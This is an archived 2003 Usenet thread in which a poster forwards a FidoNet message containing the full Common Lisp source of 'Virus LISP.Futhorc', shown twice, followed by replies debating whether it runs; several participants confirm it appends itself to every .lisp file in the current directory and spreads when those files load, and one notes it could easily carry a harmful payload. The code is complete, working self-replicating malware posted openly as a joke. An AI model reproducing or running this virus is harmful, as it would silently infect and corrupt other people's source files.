Google Groups no longer supports new Usenet posts or subscriptions. Historical content remains viewable.
Dismiss

[Fwd] Just for fun

9 views
Skip to first unread message

Ivan Boldyrev

unread,
Jun 27, 2003, 2:32:13 AM6/27/03
to

-------------------- Start of forwarded message --------------------
Newsgroups: fido7.xsu.hacker
Distribution: fido7
X-Comment-To: All
From: "Ilya V. Vasilyev" (2:5020/287)
Date: Thu, 26 Jun 2003 10:27:28 +0600
Subject: Just for fun
Message-ID: <10566...@f287.n5020.z2.ftn>
Organization: Hackers' POWER BBS

=============================================================================
* Forwarded by Ilya V. Vasilyev (2:5020/287)
* Area : su.cm (su.cm)
* From : andrew baranovich, 2:465/215 (Wednesday June 25 2003 15:21)
* To : All
* Subj : Just for fun
=============================================================================
* Originally in su.cm
Crossposted to pvt.virii
Crossposted to ru.virus

;; Virus LISP.Futhorc by herm1t(at)netlux.org / Jun'03
(setq virus '(defun infect (&optional (ls (directory "*.lisp")))
(defun writel (l s) (when l (write-line (car l) s) (writel (cdr l) s)))
(when (setq vic (car ls))
(let ((p nil)) (with-open-file (i vic :direction :input)
(unless (equal (second (read i)) 'VIRUS) (file-position i 0)
(loop (unless (setq line (read-line i nil nil)) (return))
(setq p (append p (list line))))))
(when p (with-open-file (o vic :direction :output)
(format o "(setq virus '~S~%)(eval virus)(infect)~%" virus)
(writel p o))))
(infect (cdr ls))))
)(eval virus)(infect)

--
herm1t http://vx.netlux.org/ HERM-RIPE UR6IUF 2:465/215

-+- golded 3.0.1
+ Origin: Feed my fear (2:465/215)
=============================================================================

-------------------- End of forwarded message --------------------

--
Ivan Boldyrev

Ваши байты биты!

Christopher C. Stacy

unread,
Jun 27, 2003, 5:27:50 PM6/27/03
to
>>>>> On Fri, 27 Jun 2003 13:32:13 +0700, Ivan Boldyrev ("Ivan") writes:

Ivan> From: "Ilya V. Vasilyev" (2:5020/287)
Ivan> Subject: Just for fun
Ivan> Newsgroups: fido7.xsu.hacker
Ivan> Date: Thu, 26 Jun 2003 10:27:28 +0600
Ivan> Organization: Hackers' POWER BBS

Ivan> =============================================================================
Ivan> * Forwarded by Ilya V. Vasilyev (2:5020/287)
Ivan> * Area : su.cm (su.cm)
Ivan> * From : andrew baranovich, 2:465/215 (Wednesday June 25 2003 15:21)
Ivan> * To : All
Ivan> * Subj : Just for fun
Ivan> =============================================================================
Ivan> * Originally in su.cm
Ivan> Crossposted to pvt.virii
Ivan> Crossposted to ru.virus

Ivan> ;; Virus LISP.Futhorc by herm1t(at)netlux.org / Jun'03
Ivan> (setq virus '(defun infect (&optional (ls (directory "*.lisp")))
Ivan> (defun writel (l s) (when l (write-line (car l) s) (writel (cdr l) s)))
Ivan> (when (setq vic (car ls))
Ivan> (let ((p nil)) (with-open-file (i vic :direction :input)
Ivan> (unless (equal (second (read i)) 'VIRUS) (file-position i 0)
Ivan> (loop (unless (setq line (read-line i nil nil)) (return))
Ivan> (setq p (append p (list line))))))
Ivan> (when p (with-open-file (o vic :direction :output)
Ivan> (format o "(setq virus '~S~%)(eval virus)(infect)~%" virus)
Ivan> (writel p o))))
Ivan> (infect (cdr ls))))
Ivan> )(eval virus)(infect)

I would be circumspect in writing programs called "Virus" and posting
them on the net in so-called "hacker" newsgroups, even if it is supposed
to be (I assume) some kind of joke. It looks like you are not the original
author of the "virus" program, but can you understand what you have posted?
It's as if someone has cut-and-pasted fragments of Lisp code from
other programs, without understanding what they were copying.
This program is a lot of gibberish and does not do anything at all:
most of it is never even executed.

Barry Margolin

unread,
Jun 27, 2003, 5:42:57 PM6/27/03
to
In article <u65mru...@dtpq.com>,

Christopher C. Stacy <cst...@dtpq.com> wrote:
>This program is a lot of gibberish and does not do anything at all:
>most of it is never even executed.

Sure it is.

As written, it doesn't do anything other than append itself to all the
*.lisp files in the current directory; if any of them are later loaded (or
compiled and the resulting binary loaded) they'll do the same. It's a
simple virus propagation wrapper; it's a simple matter to modify it to do
something (harmful or not) in addition to propagating itself.

--
Barry Margolin, barry.m...@level3.com
Level(3), Woburn, MA
*** DON'T SEND TECHNICAL QUESTIONS DIRECTLY TO ME, post them to newsgroups.
Please DON'T copy followups to me -- I'll assume it wasn't posted to the group.

Kalle Olavi Niemitalo

unread,
Jun 27, 2003, 6:07:21 PM6/27/03
to
cst...@dtpq.com (Christopher C. Stacy) writes:

> This program is a lot of gibberish and does not do anything at all:
> most of it is never even executed.

It spreads nicely on CMUCL, albeit with warnings about undefined
variables. Didn't you notice the EVAL call near the end?

The (second (read i)) call can have consequences not expected by
the author.

Christopher C. Stacy

unread,
Jun 27, 2003, 11:15:21 PM6/27/03
to
>>>>> On Fri, 27 Jun 2003 21:42:57 GMT, Barry Margolin ("Barry") writes:

Barry> In article <u65mru...@dtpq.com>,


Barry> Christopher C. Stacy <cst...@dtpq.com> wrote:
>> This program is a lot of gibberish and does not do anything at all:
>> most of it is never even executed.

Barry> Sure it is.

I think I made a typographical error when pasting it into an
editor buffer and reformatting it so that I could actually read it.
My version of it had it setting the variable VIRUS to the source code
of a function called INFECT that took one optional arg but had no body.

Ivan Boldyrev

unread,
Jun 28, 2003, 4:06:53 PM6/28/03
to
On 8423 day of my life Christopher C. Stacy wrote:
>
> I would be circumspect in writing programs called "Virus" and posting
> them on the net in so-called "hacker" newsgroups,

This is NG of "hackers" in sense of Eric Raymond.

> even if it is supposed to be (I assume) some kind of joke. It looks
> like you are not the original author of the "virus" program, but can
> you understand what you have posted?

I am smart enough. May be, I am even Turing-complete :)))

> It's as if someone has cut-and-pasted fragments of Lisp code from
> other programs, without understanding what they were copying.

I do understand code before copying.

> This program is a lot of gibberish and does not do anything at all:
> most of it is never even executed.

Be more attentive: the virus is in your brain now :)

--
Ivan Boldyrev

Onions has layers. Unix has layers too.

Matthew Danish

unread,
Jun 29, 2003, 10:13:22 PM6/29/03
to
On Sun, Jun 29, 2003 at 03:06:53AM +0700, Ivan Boldyrev wrote:
> Be more attentive: the virus is in your brain now :)

Actually, he's right even though he didn't mean it. I'll give you a
hint: the program invokes undefined behavior.

--
; Matthew Danish <mda...@andrew.cmu.edu>
; OpenPGP public key: C24B6010 on keyring.debian.org
; Signed or encrypted mail welcome.
; "There is no dark side of the moon really; matter of fact, it's all dark."

Ivan Boldyrev

unread,
Jun 30, 2003, 3:22:17 PM6/30/03
to
On 8425 day of my life Matthew Danish wrote:
> On Sun, Jun 29, 2003 at 03:06:53AM +0700, Ivan Boldyrev wrote:
>> Be more attentive: the virus is in your brain now :)
>
> Actually, he's right even though he didn't mean it. I'll give you a
> hint: the program invokes undefined behavior.

Is it because top-level setq? Replace it with defvar.

Barry Margolin

unread,
Jun 30, 2003, 3:36:00 PM6/30/03
to
In article <usmpul...@dtpq.com>,

Christopher C. Stacy <cst...@dtpq.com> wrote:
>>>>>> On Fri, 27 Jun 2003 21:42:57 GMT, Barry Margolin ("Barry") writes:
>
> Barry> In article <u65mru...@dtpq.com>,
> Barry> Christopher C. Stacy <cst...@dtpq.com> wrote:
> >> This program is a lot of gibberish and does not do anything at all:
> >> most of it is never even executed.
>
> Barry> Sure it is.
>
>I think I made a typographical error when pasting it into an
>editor buffer and reformatting it so that I could actually read it.
>My version of it had it setting the variable VIRUS to the source code
>of a function called INFECT that took one optional arg but had no body.

I think you may have trusted the indenting too much. If I read it
correctly, the body of that function begins with a nested defun.

0 new messages